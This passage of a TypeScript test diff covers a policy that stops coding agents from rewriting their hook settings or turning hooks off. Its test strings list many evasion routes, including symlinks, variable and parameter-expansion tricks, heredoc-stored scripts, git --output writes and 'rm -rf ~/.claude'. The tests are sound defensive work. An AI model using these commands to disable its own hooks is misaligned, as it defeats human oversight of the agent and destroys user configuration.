interpreter example nothing runs (hermes F4, CodeRabbit)", () => { + it("allows one in a comment, a stored heredoc or a commit message", async () => { + expect(await bashDecision(`echo ok # ${program()}`, p6)).toBe("allow"); + expect(await bashDecision(`cat > docs/x.md <<'EOF'\n${program()}\nEOF`, p6)).toBe("allow"); + expect(await bashDecision(`git commit -F - <<'EOF'\nRefuse ${program()} from agents\nEOF`, p6)).toBe("allow"); + const quoted = `python3 -c "open(\\"${settings()}\\",\\"w\\")"`; + expect(await bashDecision(`git commit -m 'Refuse ${quoted} from agents'`, p6)).toBe("allow"); + }); + + it("denies one that runs", async () => { + expect(await bash(program(), p6)).toBe(true); + expect(await bash(`echo ok; ${program()}`, p6)).toBe(true); + expect(await bash(`env -i ${program()}`, p6)).toBe(true); + expect(await bash(`sh -c "python3 -c \\"open('${settings()}','w')\\""`, p6)).toBe(true); + }); + }); + + describe("a redirect after a copy's destination (reported by the #1795 session)", () => { + it.each([ + `cp /dev/null ~/.claude/settings.json 2>/dev/null`, + `cp /tmp/x ~/.claude/settings.json > /tmp/log`, + `cp /tmp/x ~/.claude/settings.json < /dev/null`, + `cp /tmp/x ~/.claude/settings.json 2>&1`, + `install -m 644 /tmp/x ~/.claude/settings.json 2>/dev/null`, + ])("denies %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("reads a glob over the home directory spelled out (the #1795 session's other case)", async () => { + expect(await bash(`rm -rf ${h6}/.clau*`)).toBe(true); + }); + + it("closes it for the state too, and leaves a copy out of the settings alone", async () => { + expect((await run("Bash", { command: "cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null" })).decision).toBe("deny"); + expect(await bashDecision("cp ~/.claude/settings.json /tmp/backup.json 2>/dev/null")).toBe("allow"); + expect(await bashDecision("cp /tmp/a /tmp/b 2>/dev/null")).toBe("allow"); + }); + }); + + describe("CodeRabbit's later reviews", () => { + it("follows a link before a .. in a home path, from the shell and from a file tool", async () => { + expect(await bash(`printf '{}' > ~/hlink/../settings.json`)).toBe(true); + expect(await write("~/hlink/../settings.json")).toBe(true); + }); + + it.each([ + `cp /dev/null ~/.claude/settings.json 2> '/tmp/build log'`, + `cp /dev/null ~/.claude/settings.json > "/tmp/a b"`, + `cp /dev/null ~/.claude/settings.json 2>/tmp/a\\ b`, + `cp /dev/null ~/.claude/settings.json 2>'/tmp/a b'`, + ])("takes a redirect's whole target out of the copy's operands: %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("reads through a filter that writes no file of its own", async () => { + expect(await bashDecision(`cat ~/.claude/settings.json | tr a-z A-Z`)).toBe("allow"); + expect(await bashDecision(`cat ~/.claude/settings.json | tac | rev`)).toBe("allow"); + expect(await bash(`cat /tmp/x | tr a-z A-Z > ~/.claude/settings.json`)).toBe(true); + }); + + it("leaves a quoted > inside an argument where it is", async () => { + expect(await bashDecision(`cp "/tmp/a > b" /tmp/out`)).toBe("allow"); + }); + + it("ends a heredoc only at a line that is its delimiter", async () => { + expect(await bashDecision(`cat > notes.md <<'EOF'\nEOF \nrm -rf ~/.claude\nEOF\n`)).toBe("allow"); + expect(await bashDecision(`cat > notes.md <<'EOF'\n EOF\nrm -rf ~/.claude\nEOF\n`)).toBe("allow"); + expect(await bashDecision(`cat > notes.md <<-'EOF'\n\trm -rf ~/.claude\n\tEOF\n`)).toBe("allow"); + expect(await bash(`cat < notes.md <<'EOF'\nhello\nEOF\nrm -rf ~/.claude\n`)).toBe(true); + }); + + it("stays linear on long runs of parentheses, pipes and variables", async () => { + for (const command of [ + "echo " + "(".repeat(40000) + " $A".repeat(40000), + "echo x " + "|".repeat(40000) + " sh", + ]) { + const started = performance.now(); + await bashDecision(command); + expect(performance.now() - started).toBeLessThan(3000); + } + }, 60_000); + }); + + describe("where the shell stands (CodeRabbit)", () => { + it("lets a cd before a | move nothing", async () => { + expect(await bashDecision(`cd ~/.claude | cat; cp /tmp/example.json settings.json`)).toBe("allow"); + expect(await bash(`cd /tmp | cat; cp /tmp/example.json settings.json`, join(h6, ".claude"))).toBe(true); + }); + + it("counts a cd that ends a pipeline both ways: zsh runs it, bash does not", async () => { + expect(await bash(`true | cd /tmp; cp /tmp/example.json settings.json`, join(h6, ".claude"))).toBe(true); + expect(await bash(`true | cd ~/.claude; cp /tmp/example.json settings.json`)).toBe(true); + }); + + it("gives the parent back its directory stack when a subshell closes", async () => { + expect(await bash(`cd ~/.claude; (cd /tmp; pushd /tmp); popd; cp /tmp/x settings.json`)).toBe(true); + expect(await bashDecision(`cd ~/.claude; pushd /tmp; (popd); cp /tmp/x settings.json`)).toBe("allow"); + expect(await bash(`cd ~/.claude && (cd /tmp && ls) && cp /tmp/x settings.json`)).toBe(true); + }); + + it("stays where it is on a popd with nothing pushed", async () => { + expect(await bash(`cd ~/.claude; popd; cp /tmp/x settings.json`)).toBe(true); + }); + }); + + describe("a relocated settings path inside a longer one (CodeRabbit)", () => { + const session = { cwd: PROJ, agentSettingsPath: "/srv/profile/settings.json" }; + const decide = async (command: string) => (await policy.fn({ eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: { command }, session })).decision; + + it("is not the relocated file", async () => { + expect(await decide(`cp /tmp/x /backup/srv/profile/settings.json`)).toBe("allow"); + }); + + it("still reads the file itself, its directory after a glued option, and an --output= value", async () => { + expect(await decide(`cp /tmp/x /srv/profile/settings.json`)).toBe("deny"); + expect(await decide(`tar -xf /tmp/a.tar -C/srv/profile`)).toBe("deny"); + expect(await decide(`sort --output=/srv/profile/settings.json /tmp/x`)).toBe("deny"); + }); + }); + + it("stays linear in a script of file-writing heredocs on separate lines (CodeRabbit)", async () => { + const script = Array.from({ length: 4000 }, (_, i) => `cat > /tmp/out/f${i}.txt < { + let h7: string; + let p7: string; + let pkg7: string; + let outerHome: string | undefined; + let outerPackageRoot: string | undefined; + const settings = () => join(h7, ".claude", "settings.json"); + + beforeAll(() => { + h7 = join(root, "home7"); + p7 = join(root, "proj7"); + pkg7 = join(root, "pkg7"); + mkdirSync(join(h7, ".claude", "subdir"), { recursive: true }); + mkdirSync(join(h7, ".hermes", "plugins"), { recursive: true }); + writeFileSync(settings(), "{}"); + mkdirSync(join(p7, ".git"), { recursive: true }); + mkdirSync(join(p7, ".claude"), { recursive: true }); + mkdirSync(join(p7, "config"), { recursive: true }); + mkdirSync(join(p7, "src"), { recursive: true }); + writeFileSync(join(p7, "config", "claude.json"), "{}"); + mkdirSync(join(pkg7, "hermes-plugin"), { recursive: true }); + mkdirSync(join(pkg7, "openclaw-plugin"), { recursive: true }); + writeFileSync(join(pkg7, "hermes-plugin", "__init__.py"), ""); + symlinkSync(join("..", "config", "claude.json"), join(p7, ".claude", "settings.local.json")); + symlinkSync(settings(), join(p7, "my cfg.json")); + symlinkSync(join(h7, ".claude", "subdir"), join(p7, "clink")); + symlinkSync(join(pkg7, "hermes-plugin"), join(h7, ".hermes", "plugins", "failproofai")); + mkdirSync(join(h7, ".claude", "x"), { recursive: true }); + symlinkSync(join(h7, ".claude", "x"), join(p7, "physical-link")); + mkdirSync(join(p7, "external", ".git"), { recursive: true }); + symlinkSync(join(h7, ".claude", "x"), join(p7, "external", "link")); + mkdirSync(join(p7, "archive"), { recursive: true }); + symlinkSync(join(h7, ".claude", "x"), join(p7, "archive", "link")); + symlinkSync(settings(), join(p7, "cfg.json")); + mkdirSync(join(p7, "sub"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub", "cfg.json")); + mkdirSync(join(p7, "external", "archive"), { recursive: true }); + symlinkSync(join(h7, ".claude", "x"), join(p7, "external", "archive", "link")); + outerHome = process.env.HOME; + outerPackageRoot = process.env.FAILPROOFAI_PACKAGE_ROOT; + process.env.HOME = h7; + }); + + afterAll(() => { + if (outerHome === undefined) delete process.env.HOME; + else process.env.HOME = outerHome; + if (outerPackageRoot === undefined) delete process.env.FAILPROOFAI_PACKAGE_ROOT; + else process.env.FAILPROOFAI_PACKAGE_ROOT = outerPackageRoot; + }); + + it.each([ + `printf '{}' > "my cfg.json"`, + `printf '{}' > my\\ cfg.json`, + `cp /tmp/x "my cfg.json"`, + ])("follows a link whose name has a space in it: %s", async (command) => { + expect(await bash(command, p7)).toBe(true); + }); + + it("protects a root settings link's target from a subdirectory session", async () => { + expect(await bash(`printf '{}' > ../config/claude.json`, join(p7, "src"))).toBe(true); + expect(await write(join(p7, "config", "claude.json"), join(p7, "src"))).toBe(true); + expect(await bashDecision(`printf '{}' > ../config/other.json`, join(p7, "src"))).toBe("allow"); + }); + + it("protects every file behind an installed plugin link, and the package's plugin directories", async () => { + expect(await write(join(pkg7, "hermes-plugin", "__init__.py"), p7)).toBe(true); + expect(await bash(`printf x > ${join(pkg7, "hermes-plugin", "evil.py")}`, p7)).toBe(true); + process.env.FAILPROOFAI_PACKAGE_ROOT = pkg7; + expect(await write(join(pkg7, "openclaw-plugin", "index.js"), p7)).toBe(true); + expect(await decision("Write", { file_path: join(pkg7, "README.md"), content: "x" }, p7)).toBe("allow"); + }); + + it.each([ + `codex features disable $'\\x68ooks'`, + `F=hooks; codex features disable $F`, + `F=hooks; codex features disable "$F"`, + ])("reads an escaped or variable word in a hooks-off command: %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + }); + + it.each([ + `cp -t"$HOME/.claude" /tmp/settings.json`, + `cp -vt ~/.claude /tmp/settings.json`, + `cp --target-directory=$HOME/.claude /tmp/settings.json`, + `install -m 644 -t ~/.claude /tmp/settings.json`, + ])("judges each source where a target directory puts it: %s", async (command) => { + expect(await bash(command, p7)).toBe(true); + }); + + it("leaves other files copied into or out of an agent directory alone", async () => { + expect(await bashDecision(`cp -t ~/.claude /tmp/notes.md`, p7)).toBe("allow"); + expect(await bashDecision(`cp -t /tmp/backup ~/.claude/settings.json`, p7)).toBe("allow"); + }); + + it("resolves git's relative -C chain before its output path", async () => { + expect(await bash(`git -C .claude log -1 --format='format:{"disableAllHooks":true}' --output=settings.json`, p7)).toBe(true); + expect(await bash(`git -C . -C .claude log -1 --output=settings.json`, p7)).toBe(true); + expect(await bashDecision(`git -C .claude log -1 --output=/tmp/log.txt`, p7)).toBe("allow"); + }); + + it("knows where the shell may stand after cd -, a failing cd and cd -P", async () => { + expect(await bash(`cd ~/.claude && cd /tmp && cd - && cp /tmp/x settings.json`, p7)).toBe(true); + // An OLDPWD from before the command could be any directory, so the state + // guard refuses this first, with its own reason. + expect(await bashDecision(`cd - && cp /tmp/x settings.json`, p7)).toBe("deny"); + expect(await bash(`cd /nonexistent-r7; cp /tmp/x settings.json`, join(h7, ".claude"))).toBe(true); + expect(await bash(`cd -P clink/.. && cp /tmp/x settings.json`, p7)).toBe(true); + expect(await bashDecision(`cd clink/.. && cp /tmp/x settings.json`, p7)).toBe("allow"); + expect(await bashDecision(`mkdir -p build && cd build && cp /tmp/x settings.json`, p7)).toBe("allow"); + }); + + // hermes round 3. + it.each([ + `codex features disable "\${UNSET:-hooks}"`, + `codex features disable \${UNSET:-ho}oks`, + `F=1; codex features disable \${F:+hooks}`, + ])("reads a parameter default in a hooks-off command: %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + }); + + it("keeps a message that quotes a parameter default a message", async () => { + expect(await bashDecision(`git commit -m "codex features disable \${X:-hooks} is refused"`)).toBe("allow"); + }); + + it.each([ + `cd ~/.claude; pushd -n /tmp; cp /tmp/settings.json settings.json`, + `pushd ~/.claude; popd -n; cp /tmp/settings.json settings.json`, + `cd ~/.claude; cd /tmp; cd /missing-r8; cd -; cp /tmp/settings.json settings.json`, + `pushd ~/.claude; pushd /tmp; pushd; cp /tmp/settings.json settings.json`, + `pushd ~/.claude; pushd /tmp; pushd +1; cp /tmp/settings.json settings.json`, + ])("knows a directory command that leaves the shell, or OLDPWD, in place: %s", async (command) => { + expect(await bash(command, p7)).toBe(true); + }); + + it("still follows an ordinary pushd and popd", async () => { + expect(await bashDecision(`pushd /tmp && ls && popd && cp /tmp/x settings.json`, p7)).toBe("allow"); + }); + + it("matches a glob whatever the case of its literal parts (macOS resolves them so)", async () => { + expect(await bash(`rm -rf ~/.CLAUDE/settings.js*`, p7)).toBe(true); + expect(await bashDecision(`rm -rf ~/.CACHE/*`, p7)).toBe("allow"); + }); + + it("resolves git -C the way chdir walks it", async () => { + expect(await bash(`git -C physical-link/.. log -1 --format='format:{"disableAllHooks":true}' --output=settings.json`, p7)).toBe(true); + expect(await bashDecision(`git -C physical-link log -1 --output=/tmp/out.txt`, p7)).toBe("allow"); + }); + + // hermes round 4. + it("reads every value a variable is given on the line, not only the last", async () => { + const result = await run("Bash", { command: `F=hooks; codex features disable "$F"; F=web_search` }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + expect(await bashDecision(`F=web_search; codex features disable "$F"`)).toBe("allow"); + }); + + it("does not trust the stack's order after a rotation", async () => { + expect(await bash(`pushd ~/.claude; pushd /tmp; pushd +2; cd /tmp; popd; popd; cp /tmp/settings.json settings.json`, p7)).toBe(true); + expect(await bashDecision(`pushd /tmp; pushd /var; popd; popd; cp /tmp/x settings.json`, p7)).toBe("allow"); + }); + + it("follows git's -C directories and output through links before the text gate", async () => { + expect(await bash(`git -C external -C link/.. log -1 --format='format:{"disableAllHooks":true}' --output=settings.json`, p7)).toBe(true); + expect(await bash(`git -C external log -1 --output=link/../settings.json`, p7)).toBe(true); + expect(await bashDecision(`git -C external log -1 --output=out.txt`, p7)).toBe("allow"); + }); + + it("reads a quoted heredoc output filename, and a quoted -F -, as written", async () => { + const program = `python3 -c "open('${settings()}','w')"`; + expect(await bashDecision(`cat > '/tmp/example.md' <<'EOF'\n${program}\nEOF\n`, p7)).toBe("allow"); + expect(await bashDecision(`cat > "/tmp/my example.md" <<'EOF'\n${program}\nEOF\n`, p7)).toBe("allow"); + expect(await bashDecision(`git commit -F "-" <<'EOF'\nKeep rm -rf ~/.claude out of agents\nEOF\n`, p7)).toBe("allow"); + // A file named by an expansion is still unknown, so a body run from it is read. + expect(await bash(`cat > "$F" <<'EOF'\nrm -rf ~/.claude\nEOF\nbash "$F"\n`, p7)).toBe(true); + }); + + // hermes round 5. + it.each([ + `F=ho; F=\${F}oks; codex features disable "$F"`, + `F=hooks; X=$F; codex features disable "$X"`, + `codex $(echo features) disable hooks`, + ])("refuses a hooks-off command whose words an expansion could make: %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + }); + + it("is not hidden by many earlier assignments, and reads a known other feature as itself", async () => { + const decoys = Array.from({ length: 70 }, (_, i) => `F=decoy${i}`).join("; "); + expect((await run("Bash", { command: `${decoys}; F=hooks; codex features disable "$F"` })).decision).toBe("deny"); + expect(await bashDecision(`F=web_search; codex features disable "$F"`)).toBe("allow"); + }); + + it("reads a value glued to git archive's -o through a link", async () => { + expect(await bash(`git archive -oarchive/link/../settings.json HEAD`, p7)).toBe(true); + expect(await bashDecision(`git archive -o/tmp/out.tar HEAD`, p7)).toBe("allow"); + }); + + it("follows a variable that holds a link to the settings", async () => { + expect(await bash(`D=cfg.json; cp /tmp/evil.json "$D"`, p7)).toBe(true); + expect(await bash(`D=physical-link/..; cd -P "$D"; cp /tmp/evil.json settings.json`, p7)).toBe(true); + expect(await bashDecision(`D=notes.md; cp /tmp/evil.json "$D"`, p7)).toBe("allow"); + }); + + it("finds a stored script run later under a quoted, escaped or built name", async () => { + const store = `cat > '/tmp/example.md' <<'EOF'\ncp /tmp/evil ${settings()}\nEOF\n`; + expect(await bash(`${store}bash /tmp/exam'ple.md'\n`, p7)).toBe(true); + expect(await bash(`${store}bash /tmp/exam\\ple.md\n`, p7)).toBe(true); + expect(await bash(`${store}bash /tmp/exam$X\n`, p7)).toBe(true); + expect(await bashDecision(`${store}echo done\n`, p7)).toBe("allow"); + }); + + it("copies into an existing directory under each source's own name", async () => { + expect(await bashDecision(`cp README.md ~/.claude`, p7)).toBe("allow"); + expect(await bash(`cp /tmp/settings.json ~/.claude`, p7)).toBe(true); + expect(await bash(`cp -rT /tmp/evil ~/.claude`, p7)).toBe(true); + expect(await bash(`cp -r /tmp/evil/. ~/.claude`, p7)).toBe(true); + }); + + // hermes round 6. + it("keeps --parents' own path under the directory it copies into", async () => { + expect(await bash(`cp --parents .claude/settings.json ~`, p7)).toBe(true); + expect(await bash(`cp --parents -t ~ .claude/settings.json`, p7)).toBe(true); + expect(await bashDecision(`cp --parents src/a.ts /tmp/backup`, p7)).toBe("allow"); + }); + + it("stays linear on a name built from many expansions that does not match", async () => { + const command = `cat > /tmp/${"a".repeat(100)}.md <<'EOF'\nhello\nEOF\nbash /tmp/${"a\${X}".repeat(8)}z.md\n`; + const started = performance.now(); + await bashDecision(command, p7); + expect(performance.now() - started).toBeLessThan(3000); + }, 60_000); + + it("finds a stored script run later under a glob or brace name", async () => { + const store = `cat > /tmp/example.md <<'EOF'\ncp /tmp/evil ${settings()}\nEOF\n`; + expect(await bash(`${store}bash /tmp/exa*\n`, p7)).toBe(true); + expect(await bash(`${store}bash /tmp/{example,x}.md\n`, p7)).toBe(true); + }); + + it("judges a variable's link from where the shell stands when it is used", async () => { + expect(await bash(`cd sub; D=cfg.json; cp /tmp/evil.json "$D"`, p7)).toBe(true); + }); + + it("reads a copy destination held in a variable as the directories it holds", async () => { + expect(await bashDecision(`D=~/.claude; cp README.md "$D"`, p7)).toBe("allow"); + expect(await bash(`D=~/.claude; cp /tmp/settings.json "$D"`, p7)).toBe(true); + }); + + it("joins a value glued to git's -o to the -C repository", async () => { + expect(await bash(`git -C external archive -oarchive/link/../settings.json HEAD`, p7)).toBe(true); + }); + + // hermes round 7. + it("resolves a link passed through a second variable", async () => { + expect(await bash(`cd sub; A=cfg.json; D=$A; cp /tmp/evil.json "$D"`, p7)).toBe(true); + }); + + it("reads a -t directory and copy sources held in variables as their values", async () => { + expect(await bashDecision(`D=~/.claude; cp -t "$D" README.md`, p7)).toBe("allow"); + expect(await bashDecision(`S=README.md; cp "$S" ~/.claude`, p7)).toBe("allow"); + expect(await bash(`S=/tmp/settings.json; cp "$S" ~/.claude`, p7)).toBe(true); + expect(await bash(`cp "$S" ~/.claude`, p7)).toBe(true); + }); + + it("does not trust a variable given more values than are kept", async () => { + const backup = join(root, "backup7"); + mkdirSync(backup, { recursive: true }); + const decoys = Array.from({ length: 64 }, () => `D=${backup}`).join("; "); + // A crafted variable counts as naming every protected path, so the state + // guard, which runs first, refuses this with its own reason. + expect(await bashDecision(`${decoys}; D=~/.claude; cp /tmp/settings.json "$D"`, p7)).toBe("deny"); + }); + + it("protects the target of a settings link that does not exist yet", async () => { + const fresh = join(root, "proj7-dangling"); + mkdirSync(join(fresh, ".claude"), { recursive: true }); + mkdirSync(join(fresh, "config"), { recursive: true }); + symlinkSync(join("..", "config", "new.json"), join(fresh, ".claude", "settings.local.json")); + expect(await write(join(fresh, "config", "new.json"), fresh)).toBe(true); + expect(await bash(`printf '{}' > config/new.json`, fresh)).toBe(true); + expect(await bashDecision(`printf '{}' > config/other.json`, fresh)).toBe("allow"); + }); + + // hermes round 8. + it("resolves a variable chain of any length, and refuses a cycle", async () => { + const chain = (n: number) => ["A0=cfg.json", ...Array.from({ length: n }, (_, i) => `A${i + 1}=$A${i}`)].join("; "); + expect(await bash(`cd sub; ${chain(5)}; cp /tmp/evil.json "$A5"`, p7)).toBe(true); + expect(await bash(`cd sub; ${chain(300)}; cp /tmp/evil.json "$A300"`, p7)).toBe(true); + expect(await bashDecision(`cd sub; A=$B; B=$A; cp /tmp/evil.json "$A"`, p7)).toBe("deny"); + }); + + it("leaves ordinary variables, environment variables, appends and substitutions alone", async () => { + expect(await bashDecision(`export PATH="$PATH:$HOME/bin"; npm test`, p7)).toBe("allow"); + expect(await bashDecision(`PATH=$PATH:/opt/x npm run build`, p7)).toBe("allow"); + expect(await bashDecision(`FLAGS="$FLAGS -v"; make $FLAGS`, p7)).toBe("allow"); + expect(await bashDecision(`DIR=$(mktemp -d); cp a "$DIR/x"; rm -rf "$DIR"`, p7)).toBe("allow"); + expect(await bashDecision(`A=x; B=$A; C=$B; rm -rf "$C"`, p7)).toBe("allow"); + expect(await bashDecision(`cp /tmp/x "$OUTDIR/report.txt"`, p7)).toBe("allow"); + }); + + it("protects a relocated settings file's link target from the shell, existing or not yet", async () => { + const profile = join(root, "profile8"); + const actual = join(root, "actual8"); + mkdirSync(profile, { recursive: true }); + mkdirSync(actual, { recursive: true }); + writeFileSync(join(actual, "primary.json"), "{}"); + symlinkSync(join(actual, "primary.json"), join(profile, "settings.json")); + symlinkSync(join(actual, "local.json"), join(profile, "settings.local.json")); + const session = { cwd: p7, agentSettingsPath: join(profile, "settings.json") }; + const decide = async (command: string) => + (await policy.fn({ eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: { command }, session })).decision; + expect(await decide(`cp /tmp/disable.json ${join(actual, "primary.json")}`)).toBe("deny"); + expect(await decide(`printf '{}' > ${join(actual, "local.json")}`)).toBe("deny"); + expect(await decide(`printf '{}' > ${join(actual, "notes.json")}`)).toBe("allow"); + }); + + // hermes round 9. + it("bounds the values self-appends and doubling references can build, in time too", async () => { + const appends = (n: number) => ["A=x", ...Array.from({ length: n }, (_, i) => `A=\${A}x${i}`)].join("; ") + `; cp a "$A"`; + const doubling = (n: number) => ["A=x", ...Array.from({ length: n }, () => "A=${A}${A}")].join("; ") + `; cp a "$A"`; + const chained = (n: number) => + ["B0=x", ...Array.from({ length: n }, (_, i) => `B${i + 1}=\${B${i}}\${B${i}}`)].join("; ") + `; cp a "$B${n}"`; + const started = performance.now(); + // More values, or a longer one, than any real command builds count as + // naming the target; building them stops at the limit. + expect(await bashDecision(appends(24), p7)).toBe("deny"); + expect(await bashDecision(appends(63), p7)).toBe("deny"); + expect(await bashDecision(doubling(40), p7)).toBe("deny"); + expect(await bashDecision(chained(40), p7)).toBe("deny"); + expect(performance.now() - started).toBeLessThan(2000); + // Appends still resolve, and a long value as written is not one that grew. + expect(await bash(`cd sub; A=cf; A=\${A}g.json; cp /tmp/evil.json "$A"`, p7)).toBe(true); + expect(await bashDecision(`X=${"y".repeat(5000)}; cp a "$X"`, p7)).toBe("allow"); + }); + + it("keeps a variable's known values beside one that cannot be known", async () => { + // A name that is a settings link only where the shell has moved to. + mkdirSync(join(p7, "sub9"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub9", "cfg9.json")); + expect(await bash(`cd sub9; A=cfg9.json; A=$(true); cp /tmp/evil.json "$A"`, p7)).toBe(true); + expect(await bash("cd sub9; A=cfg9.json; A=`true`; cp /tmp/evil.json \"$A\"", p7)).toBe(true); + expect(await bashDecision(`D=$(mktemp -d); D=$D/out; cp a "$D/x"`, p7)).toBe("allow"); + expect(await bashDecision(`OUT=build/report.txt; OUT=$(mktemp); cp a "$OUT"`, p7)).toBe("allow"); + }); + + it.skipIf(process.platform === "win32")( + "protects the link target of a worktree's local settings at the main checkout", + async () => { + // A linked worktree as git lays it out: Claude Code reads its local + // settings at the main checkout's root, which links them elsewhere. + const main = join(root, "main9"); + const worktree = join(root, "wt9"); + const outside = join(root, "outside9"); + mkdirSync(join(main, ".git", "worktrees", "wt9"), { recursive: true }); + writeFileSync(join(main, ".git", "worktrees", "wt9", "commondir"), "../..\n"); + mkdirSync(join(worktree, "src"), { recursive: true }); + writeFileSync(join(worktree, ".git"), `gitdir: ${join(main, ".git", "worktrees", "wt9")}\n`); + mkdirSync(join(main, ".claude"), { recursive: true }); + mkdirSync(outside, { recursive: true }); + writeFileSync(join(outside, "local-config.json"), "{}"); + symlinkSync(join(outside, "local-config.json"), join(main, ".claude", "settings.local.json")); + const target = join(outside, "local-config.json"); + expect(await write(target, join(worktree, "src"))).toBe(true); + expect(await bash(`printf '{}' > ${target}`, join(worktree, "src"))).toBe(true); + expect(await bash(`cp /tmp/disable.json ${target}`, worktree)).toBe(true); + expect(await bashDecision(`printf '{}' > ${join(outside, "notes.json")}`, worktree)).toBe("allow"); + }, + ); + + it("follows a destination built by parameter expansion, arrays and appends", async () => { + // A name that is a settings link only where the shell has moved to. + mkdirSync(join(p7, "sub10"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub10", "cfg10.json")); + for (const command of [ + `cd sub10; cp /tmp/evil.json "\${A:-cfg10.json}"`, + `cd sub10; cp /tmp/evil.json "\${A=cfg10.json}"`, + `cd sub10; A=cfg10.json.bak; cp /tmp/evil.json "\${A%.bak}"`, + `cd sub10; A=cfg10.json.bak; cp /tmp/evil.json "\${A%.*}"`, + `cd sub10; A=/x/y/cfg10.json; cp /tmp/evil.json "\${A##*/}"`, + `cd sub10; A=xcfg10.json; tee "\${A#x}" < /dev/null`, + `cd sub10; A=cfg10Xjson; cp /tmp/evil.json "\${A/X/.}"`, + `cd sub10; A=CFG10.JSON; cp /tmp/evil.json "\${A,,}"`, + `cd sub10; A=zzcfg10.json; cp /tmp/evil.json "\${A:2}"`, + `cd sub10; A=cfg10.json; R=A; cp /tmp/evil.json "\${!R}"`, + `cd sub10; A=(x cfg10.json); cp /tmp/evil.json "\${A[1]}"`, + `cd sub10; A=cf; A+=g10.json; cp /tmp/evil.json "$A"`, + `cd sub10; printf '{}' > "\${A:-cfg10.json}"`, + `cd sub10; A=cfg10.json.bak; cp /tmp/evil.json "\${A%$SUFFIX}"`, + `cd sub10; A=(x cfg10.json); cp /tmp/evil.json "\${A[@]:1}"`, + ]) { + expect(await bash(command, p7), command).toBe(true); + } + // An operator this does not follow, over a known value, counts as naming it. + expect(await bashDecision(`cd sub10; A=cfg10.json; cp /tmp/evil.json "\${A:0:$((10))}"`, p7)).toBe("deny"); + }); + + it("leaves ordinary parameter expansions alone", async () => { + for (const command of [ + `cp a "\${OUT:-build}/x.txt"`, + `f=report.txt; mv "$f" "\${f%.txt}.md"`, + `for f in *.txt; do mv "$f" "\${f%.txt}.md"; done`, + `cp a "\${1:-out}/x"`, + `A=(a b c); for x in "\${A[@]}"; do cp "$x" /tmp/; done`, + `NAME=report; cp a "\${NAME^^}.txt"`, + `PATH+=:/opt/bin; npm test`, + `A=a/b/c; cp x "/tmp/\${A//\\//_}.txt"`, + `x=${"ab-".repeat(100)}; cp a "/tmp/\${x//[^a-z]/}"`, + `A=${"a".repeat(1000)}; cp a "/tmp/\${A//*b*/x}"`, + `f=report.txt; cp a "/tmp/\${f%$EXT}.bak"`, + ]) { + expect(await bashDecision(command, p7), command).toBe("allow"); + } + }); + + it("bounds the pattern matching an expansion can ask for", async () => { + // A match that starts early and ends early makes every longer end a try. + const long = "ab" + "c".repeat(4000); + const started = performance.now(); + // Past the budget the word reads as built to evade. + expect(await bashDecision(`A=${long}; cp x "\${A//a*b/x}"`, p7)).toBe("deny"); + expect(await bashDecision(`A=${long}; cp x "\${A##a*b}"`, p7)).toBe("deny"); + // A pattern that matches nowhere costs one walk, and changes nothing. + expect(await bashDecision(`A=${"a".repeat(4000)}; cp x "\${A//*a*a*a*a*b/x}"`, p7)).toBe("allow"); + expect(performance.now() - started).toBeLessThan(2000); + }); + + it("matches a glob against the files behind settings links", async () => { + const profile = join(root, "profile10"); + const actual = join(root, "actual10"); + mkdirSync(profile, { recursive: true }); + mkdirSync(actual, { recursive: true }); + writeFileSync(join(actual, "primary.json"), "{}"); + symlinkSync(join(actual, "primary.json"), join(profile, "settings.json")); + const session = { cwd: p7, agentSettingsPath: join(profile, "settings.json") }; + const decide = async (command: string) => + (await policy.fn({ eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: { command }, session })).decision; + expect(await decide(`cp /tmp/disable.json ${join(actual, "prim*.json")}`)).toBe("deny"); + expect(await decide(`printf '{}' > ${join(actual, "prim?ry.json")}`)).toBe("deny"); + expect(await decide(`cd ${actual} && cp /tmp/disable.json prim*.json`)).toBe("deny"); + expect(await decide(`cp /tmp/x ${join(actual, "notes*.json")}`)).toBe("allow"); + // A project's settings link target too: `.claude/settings.local.json -> ../config/claude.json`. + expect(await bash(`cp /tmp/x config/cl*.json`, p7)).toBe(true); + }); + + it("follows values a line assigns other ways: for, read, printf -v, a nameref, a substitution", async () => { + mkdirSync(join(p7, "sub11"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub11", "cfg11.json")); + for (const command of [ + `cd sub11; for A in cfg11.json; do cp /tmp/evil.json "$A"; done`, + `cd sub11; for A in *.json; do cp /tmp/evil.json "$A"; done`, + `cd sub11; read -r A <<< "cfg11.json"; cp /tmp/evil.json "$A"`, + `cd sub11; read <<< cfg11.json; cp /tmp/evil.json "$REPLY"`, + `cd sub11; printf -v A '%s.%s' cfg11 json; cp /tmp/evil.json "$A"`, + `cd sub11; A=$(echo cfg11.json); cp /tmp/evil.json "$A"`, + "cd sub11; A=`printf %s cfg11.json`; cp /tmp/evil.json \"$A\"", + `cd sub11; A=$(basename /x/cfg11.json); cp /tmp/evil.json "$A"`, + `cd sub11; A=$(readlink -f cfg11.json); cp /tmp/evil.json "$A"`, + `A=cfg11.json; declare -n R=A; cd sub11; cp /tmp/evil.json "$R"`, + ]) { + expect(await bash(command, p7), command).toBe(true); + } + for (const command of [ + `read A <<< hello; echo "$A" > /tmp/out.txt`, + `A=$(date +%s); cp a "/tmp/$A.txt"`, + `A=$(echo build); cp a "$A/x"`, + `printf -v n '%05d' 7; cp a "/tmp/$n.txt"`, + `for f in src/*.ts; do cp "$f" /tmp/; done`, + ]) { + expect(await bashDecision(command, p7), command).toBe("allow"); + } + }); + + it("expands a glob on disk to the links it reaches", async () => { + mkdirSync(join(p7, "sub12"), { recursive: true }); + symlinkSync(settings(), join(p7, "sub12", "cfg12.json")); + writeFileSync(join(p7, 